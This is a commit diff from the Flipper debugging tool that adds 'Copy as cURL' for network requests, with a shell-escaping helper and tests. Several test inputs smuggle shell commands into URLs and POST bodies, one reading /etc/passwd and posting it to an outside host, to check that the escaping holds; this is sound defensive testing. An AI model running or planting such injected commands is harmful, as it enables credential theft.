Add copy as cURL for network requests (#415)
Summary: Pull Request resolved: https://github.com/facebook/flipper/pull/415 This diff adds a context menu item for network request rows that allows the user to copy the request as a curl command. The logic for the command generation was inspired by [`FLEXNetworkCurlLogger`](https://github.com/Flipboard/FLEX/blob/master/Classes/Network/FLEXNetworkCurlLogger.m) Resolves #406 Reviewed By: passy Differential Revision: D14973754 fbshipit-source-id: a57c31190d7615ca5377308e0bfad521b645b2e4
This commit is contained in:
committed by
Facebook Github Bot
parent
01e4d694b5
commit
d9d1346c12
145
src/plugins/network/__tests__/requestToCurlCommand.node.js
Normal file
145
src/plugins/network/__tests__/requestToCurlCommand.node.js
Normal file
@@ -0,0 +1,145 @@
|
|||||||
|
/**
|
||||||
|
* Copyright 2018-present Facebook.
|
||||||
|
* This source code is licensed under the MIT license found in the
|
||||||
|
* LICENSE file in the root directory of this source tree.
|
||||||
|
* @format
|
||||||
|
*/
|
||||||
|
|
||||||
|
import {convertRequestToCurlCommand} from '../utils.js';
|
||||||
|
import type {Request} from '../types.js';
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: simple GET', () => {
|
||||||
|
const request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'GET',
|
||||||
|
url: 'https://fbflipper.com/',
|
||||||
|
headers: [],
|
||||||
|
data: null,
|
||||||
|
};
|
||||||
|
|
||||||
|
const command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||||
|
});
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: simple POST', () => {
|
||||||
|
const request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: 'https://fbflipper.com/',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=data&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
const command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||||
|
let request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: "https://fbflipper.com/'; cat /etc/password",
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=data&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
let command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||||
|
);
|
||||||
|
|
||||||
|
request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=data&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||||
|
let request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: "https://fbflipper.com/'; cat /etc/password",
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=data&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
let command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||||
|
);
|
||||||
|
|
||||||
|
request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=data&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||||
|
let request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: 'https://fbflipper.com/',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||||
|
};
|
||||||
|
|
||||||
|
let command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||||
|
);
|
||||||
|
|
||||||
|
request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'POST',
|
||||||
|
url: 'https://fbflipper.com/',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=!!'),
|
||||||
|
};
|
||||||
|
|
||||||
|
command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('convertRequestToCurlCommand: control characters', () => {
|
||||||
|
let request: Request = {
|
||||||
|
id: 'request id',
|
||||||
|
timestamp: 1234567890,
|
||||||
|
method: 'GET',
|
||||||
|
url: 'https://fbflipper.com/',
|
||||||
|
headers: [],
|
||||||
|
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||||
|
};
|
||||||
|
|
||||||
|
let command = convertRequestToCurlCommand(request);
|
||||||
|
expect(command).toEqual(
|
||||||
|
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||||
|
);
|
||||||
|
});
|
||||||
@@ -22,8 +22,9 @@ import {
|
|||||||
FlipperPlugin,
|
FlipperPlugin,
|
||||||
} from 'flipper';
|
} from 'flipper';
|
||||||
import type {Request, RequestId, Response} from './types.js';
|
import type {Request, RequestId, Response} from './types.js';
|
||||||
import {getHeaderValue} from './utils.js';
|
import {convertRequestToCurlCommand, getHeaderValue} from './utils.js';
|
||||||
import RequestDetails from './RequestDetails.js';
|
import RequestDetails from './RequestDetails.js';
|
||||||
|
import {clipboard} from 'electron';
|
||||||
import {URL} from 'url';
|
import {URL} from 'url';
|
||||||
import type {Notification} from '../../plugin';
|
import type {Notification} from '../../plugin';
|
||||||
|
|
||||||
@@ -160,6 +161,19 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
|
|||||||
onRowHighlighted = (selectedIds: Array<RequestId>) =>
|
onRowHighlighted = (selectedIds: Array<RequestId>) =>
|
||||||
this.setState({selectedIds});
|
this.setState({selectedIds});
|
||||||
|
|
||||||
|
copyRequestCurlCommand = () => {
|
||||||
|
const {requests} = this.props.persistedState;
|
||||||
|
const {selectedIds} = this.state;
|
||||||
|
// Ensure there is only one row highlighted.
|
||||||
|
if (selectedIds.length !== 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const request = requests[selectedIds[0]];
|
||||||
|
const command = convertRequestToCurlCommand(request);
|
||||||
|
clipboard.writeText(command);
|
||||||
|
};
|
||||||
|
|
||||||
clearLogs = () => {
|
clearLogs = () => {
|
||||||
this.setState({selectedIds: []});
|
this.setState({selectedIds: []});
|
||||||
this.props.setPersistedState({responses: {}, requests: {}});
|
this.props.setPersistedState({responses: {}, requests: {}});
|
||||||
@@ -188,6 +202,7 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
|
|||||||
requests={requests || {}}
|
requests={requests || {}}
|
||||||
responses={responses || {}}
|
responses={responses || {}}
|
||||||
clear={this.clearLogs}
|
clear={this.clearLogs}
|
||||||
|
copyRequestCurlCommand={this.copyRequestCurlCommand}
|
||||||
onRowHighlighted={this.onRowHighlighted}
|
onRowHighlighted={this.onRowHighlighted}
|
||||||
highlightedRows={
|
highlightedRows={
|
||||||
this.state.selectedIds ? new Set(this.state.selectedIds) : null
|
this.state.selectedIds ? new Set(this.state.selectedIds) : null
|
||||||
@@ -203,6 +218,7 @@ type NetworkTableProps = {
|
|||||||
requests: {[id: RequestId]: Request},
|
requests: {[id: RequestId]: Request},
|
||||||
responses: {[id: RequestId]: Response},
|
responses: {[id: RequestId]: Response},
|
||||||
clear: () => void,
|
clear: () => void,
|
||||||
|
copyRequestCurlCommand: () => void,
|
||||||
onRowHighlighted: (keys: TableHighlightedRows) => void,
|
onRowHighlighted: (keys: TableHighlightedRows) => void,
|
||||||
highlightedRows: ?Set<string>,
|
highlightedRows: ?Set<string>,
|
||||||
};
|
};
|
||||||
@@ -349,19 +365,35 @@ class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
|
|||||||
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
|
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
|
||||||
}
|
}
|
||||||
|
|
||||||
contextMenuItems = [
|
contextMenuItems() {
|
||||||
{
|
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
|
||||||
type: 'separator',
|
const highlightedMenuItems =
|
||||||
},
|
highlightedRows && highlightedRows.size === 1
|
||||||
{
|
? [
|
||||||
label: 'Clear all',
|
{
|
||||||
click: this.props.clear,
|
type: 'separator',
|
||||||
},
|
},
|
||||||
];
|
{
|
||||||
|
label: 'Copy as cURL',
|
||||||
|
click: copyRequestCurlCommand,
|
||||||
|
},
|
||||||
|
]
|
||||||
|
: [];
|
||||||
|
|
||||||
|
return highlightedMenuItems.concat([
|
||||||
|
{
|
||||||
|
type: 'separator',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Clear all',
|
||||||
|
click: clear,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
<NetworkTable.ContextMenu items={this.contextMenuItems}>
|
<NetworkTable.ContextMenu items={this.contextMenuItems()}>
|
||||||
<SearchableTable
|
<SearchableTable
|
||||||
virtual={true}
|
virtual={true}
|
||||||
multiline={false}
|
multiline={false}
|
||||||
|
|||||||
@@ -59,3 +59,46 @@ function decompress(body: string): string {
|
|||||||
|
|
||||||
return String.fromCharCode.apply(null, new Uint8Array(data));
|
return String.fromCharCode.apply(null, new Uint8Array(data));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function convertRequestToCurlCommand(request: Request): string {
|
||||||
|
let command: string = `curl -v -X ${request.method}`;
|
||||||
|
command += ` ${escapedString(request.url)}`;
|
||||||
|
// Add headers
|
||||||
|
request.headers.forEach(header => {
|
||||||
|
const headerStr = `${header.key}: ${header.value}`;
|
||||||
|
command += ` -H ${escapedString(headerStr)}`;
|
||||||
|
});
|
||||||
|
// Add body
|
||||||
|
const body = decodeBody(request);
|
||||||
|
if (body) {
|
||||||
|
command += ` -d ${escapedString(body)}`;
|
||||||
|
}
|
||||||
|
return command;
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeCharacter(x) {
|
||||||
|
const code = x.charCodeAt(0);
|
||||||
|
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
|
||||||
|
}
|
||||||
|
|
||||||
|
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
|
||||||
|
|
||||||
|
// Escape util function, inspired by Google DevTools. Works only for POSIX
|
||||||
|
// based systems.
|
||||||
|
function escapedString(str) {
|
||||||
|
if (needsEscapingRegex.test(str) || str.includes("'")) {
|
||||||
|
return (
|
||||||
|
"$'" +
|
||||||
|
str
|
||||||
|
.replace(/\\/g, '\\\\')
|
||||||
|
.replace(/\'/g, "\\'")
|
||||||
|
.replace(/\n/g, '\\n')
|
||||||
|
.replace(/\r/g, '\\r')
|
||||||
|
.replace(needsEscapingRegex, escapeCharacter) +
|
||||||
|
"'"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simply use singly quoted string.
|
||||||
|
return "'" + str + "'";
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user